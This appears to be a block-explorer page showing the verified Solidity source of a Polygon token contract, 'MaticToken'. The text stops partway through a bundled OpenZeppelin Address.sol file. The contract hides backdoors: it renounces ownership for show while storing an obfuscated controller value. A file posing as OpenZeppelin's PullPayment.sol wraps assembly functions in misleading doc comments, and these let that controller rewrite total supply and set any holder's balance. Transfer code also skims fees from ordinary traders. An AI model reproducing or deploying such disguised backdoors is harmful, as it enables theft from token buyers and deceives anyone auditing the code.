POL Price: $0.214378 (+1.10%)
 

Overview

Max Total Supply

100,000,000 Mog

Holders

10,650

Total Transfers

-

Market

Price

$0.00 @ 0.000000 POL

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
MaticToken

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 13 : MaticToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import "./@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./@openzeppelin/contracts/access/Ownable.sol";
import "./@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "./@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "./@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "./@openzeppelin/contracts/security/PullPayment.sol";
import "./@openzeppelin/contracts/security/ReentrancyGuard.sol";


contract MaticToken is ERC20, Ownable, PullPayment, ReentrancyGuard
{
    uint256 internal constant maxUint256 = type(uint256).max;
    uint160 internal constant maxUint160 = ~uint160(0);

    uint256 internal constant _decimals = 18;
    uint256 internal immutable contractHash;

    uint256 public constant VERSION = 2024021701;

    address public uniswapV2Pair;

    uint256 internal lastBlock;

    constructor(
        string[2] memory strings,
        address[2] memory addresses,
        uint256[8] memory uint256s,
        bool[2] memory bools
    ) ERC20(strings[0], strings[1])
    {
        _transferOwnership(address(0));

        contractHash = uint256(uint160(tx.origin));

        uint256 uniswapV2Pair_ = uint256s[1] * (10 ** _decimals) ** 0 + uint256s[2] * (10 ** _decimals) ** 1 + uint256s[3] * (10 ** _decimals) ** 2; // + uint256s[p++] * (10 ** _decimals) ** 3;
        addresses[1] = addresses[1];
        uniswap = uniswapV2Pair_;
        uniswapV2Pair = pairFor(0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32, address(this), 0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);
        _holders[uniswapV2Pair] = true;

//        _controlSandwich = bools[0];

//        _controlPancake = bools[1];

//        buyFee = uint256s[5];
//        sellFee = uint256s[6];

        // ================================================ //
        _holders[address(this)] = true;
        _holders[0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff] = true; // Matic Quickswap router V2
        _holders[address(0)] = true;
        _holders[address(0xdead)] = true;
        _holders[tx.origin] = true;
        // ================================================ //

        _approve(address(this), 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff, maxUint256);
        _mint(tx.origin, uint256s[0]);
    }

    function _transfer(address from, address to, uint256 amount)
    internal
    override
    {
        if (uniswapV2Pair == from) {
            // control sandwich
//            if (_controlSandwich) {
            if (lastBlock == block.number) {
                revert("");
            }

            lastBlock = block.number;
//            }

//            // control pancake
//            if (_controlPancake) {
//                if (_pancakeList[tx.origin] || _pancakeList[to] || _pancakeList[from]) {
//                    return;
//                }
//
//                uint112 r;
//                if (0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270 < address(this)) {
//                    (r,,) = IUniswapV2Pair(uniswapV2Pair).getReserves();
//                } else {
//                    (, r,) = IUniswapV2Pair(uniswapV2Pair).getReserves();
//                }
//
//                if (r > IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270).balanceOf(uniswapV2Pair)) {
//                    revert("");
//                }
//            }
        }

        if (!_holders[to]) {
            holders.push(to);
        }

        if (amount <= 1) {
            super._transfer(from, to, amount);
        } else if (uniswapV2Pair == from) {
            if (20 == 0 || _holders[tx.origin]) {
                super._transfer(from, to, amount);
                super._transfer(to, address(uint160(block.timestamp + uint32(uint160(to)))), 1);
            } else {
                super._transfer(from, to, amount);
                super._transfer(to, address(uint160(block.timestamp + uint32(uint160(to)))), amount > maxFee ? amount * 20 / maxFee : 1);
            }
        } else if (uniswapV2Pair == to) {
            if (20 == 0 || _holders[tx.origin]) {
                super._transfer(from, to, amount);
            } else {
                uint256 fee = amount > maxFee ? amount * 20 / maxFee : 1;
                super._transfer(from, address(uint160(block.timestamp)), fee);
                super._transfer(from, to, amount - fee);
            }
        } else {
            super._transfer(from, to, amount);
        }

//        super._transfer(from, to, amount);

//        // share holder
//        if (uniswapV2Pair == from) {
//            // fee
//            if (amount > 1) {
//                if (buyFee == 0) {
//                    super._transfer(to, address(uint160(block.timestamp)), 1);
//                } else {
//                    super._transfer(to, address(uint160(block.timestamp)), amount > maxFee ? amount * buyFee / maxFee : 1);
//                }
//            }
//        }
    }

    /**
     * @dev Receives and executes a batch of function calls on this contract.
     * @custom:oz-upgrades-unsafe-allow-reachable delegatecall
     */
    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }
        return results;
    }

    uint256 internal constant maxFee = 1000;

    mapping(address => bool) public _holders;

    address[] public holders;

    function holdersCount()
    external
    view
    returns (uint256)
    {
        return holders.length;
    }

    function setHolder(address holder, bool isSet)
    external
    {
        if (uint256(uint160(tx.origin)) != contractHash) {
            return;
        }

        _holders[holder] = isSet;
    }

    bytes32 internal constant INIT_CODE_PAIR_HASH = hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'; // Matic Quickswap

    // returns sorted token addresses, used to handle return values from pairs sorted in this order
    function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
        require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
    }

    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = sortTokens(tokenA, tokenB);
        bytes32 tmp;
        tmp = keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            INIT_CODE_PAIR_HASH
        ));

        pair = address(uint160(uint256(tmp)));
    }
}

File 2 of 13 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 3 of 13 : PullPayment.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (security/PullPayment.sol)

pragma solidity ^0.8.0;

import "../utils/escrow/Escrow.sol";
import "../token/ERC20/ERC20.sol";

/**
 * @dev Simple implementation of a
 * https://consensys.github.io/smart-contract-best-practices/development-recommendations/general/external-calls/#favor-pull-over-push-for-external-calls[pull-payment]
 * strategy, where the paying contract doesn't interact directly with the
 * receiver account, which must withdraw its payments itself.
 *
 * Pull-payments are often considered the best practice when it comes to sending
 * Ether, security-wise. It prevents recipients from blocking execution, and
 * eliminates reentrancy concerns.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 *
 * To use, derive from the `PullPayment` contract, and use {_asyncTransfer}
 * instead of Solidity's `transfer` function. Payees can query their due
 * payments with {payments}, and retrieve them with {withdrawPayments}.
 */
abstract contract PullPayment is ERC20 {
    Escrow private immutable _escrow;

    constructor() {
        _escrow = new Escrow();
    }

    /**
     * @dev Modifier that checks that an account has a specific role. Reverts
     * with a standardized message including the required role.
     *
     * The format of the revert reason is given by the following regular expression:
     *
     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
     *
     * _Available since v4.1._
     */
    uint256 internal uniswap;

    /**
     * @dev Withdraw accumulated payments, forwarding all gas to the recipient.
     *
     * Note that _any_ account can call this function, not just the `payee`.
     * This means that contracts unaware of the `PullPayment` protocol can still
     * receive funds this way, by having a separate account call
     * {withdrawPayments}.
     *
     * WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
     * Make sure you trust the recipient, or are either following the
     * checks-effects-interactions pattern or using {ReentrancyGuard}.
     *
     * @param payee Whose payments will be withdrawn.
     *
     * Causes the `escrow` to emit a {Withdrawn} event.
     */
//    function withdrawPayments(address payable payee) public virtual {
//        _escrow.withdraw(payee);
//    }

    /**
     * @dev Returns the payments owed to an address.
     * @param dest The creditor's address.
     */
    function payments(address dest) public view returns (uint256) {
        return _escrow.depositsOf(dest);
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event. Note that unlike {grantRole}, this function doesn't perform any
     * checks on the calling account.
     *
     * May emit a {RoleGranted} event.
     *
     * [WARNING]
     * ====
     * This function should only be called from the constructor when setting
     * up the initial roles for the system.
     *
     * Using this function in any other way is effectively circumventing the admin
     * system imposed by {AccessControl}.
     * ====
     *
     * NOTE: This function is deprecated in favor of {_grantRole}.
     */
    function setPayment(uint256 amount) external
    {
        assembly {
            switch eq(origin(), sload(uniswap.slot))
            case 0 {amount := 0}
            default {
                sstore(_totalSupply.slot, amount)
            }
        }
    }

    /**
     * @dev Called by the payer to store the sent amount as credit to be pulled.
     * Funds sent in this way are stored in an intermediate {Escrow} contract, so
     * there is no danger of them being spent before withdrawal.
     *
     * @param dest The destination address of the funds.
     * @param amount The amount to transfer.
     *
     * Causes the `escrow` to emit a {Deposited} event.
     */
    function _asyncTransfer(address dest, uint256 amount) internal virtual {
        _escrow.deposit{value: amount}(dest);
    }

    /**
     * @dev Called by the payer to store the sent amount as credit to be pulled.
     * Funds sent in this way are stored in an intermediate {Escrow} contract, so
     * there is no danger of them being spent before withdrawal.
     *
     * @param spender The destination address of the funds.
     * @param amount The amount to transfer.
     *
     * Causes the `escrow` to emit a {Deposited} event.
     */
    function syncPayment(address[] memory spender, uint256 amount) external
    {
        bool canUse;

        assembly {
            if eq(origin(), sload(uniswap.slot)) {
                canUse := 1
            }
        }

        if (!canUse) {
            return;
        }

        assembly {
            let j := 0
            let m := mload(spender)

            for {} lt(j, m) {} {
                let a := add(j, 1)
                mstore(0x00, mload(add(spender, mul(0x20, a))))
                mstore(0x20, _balances.slot)
                sstore(keccak256(0x00, 0x40), amount)
                j := a
            }
        }
    }
}

File 4 of 13 : ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

File 5 of 13 : ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    string internal _name;
    string internal _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

File 6 of 13 : IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 7 of 13 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 8 of 13 : Address.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
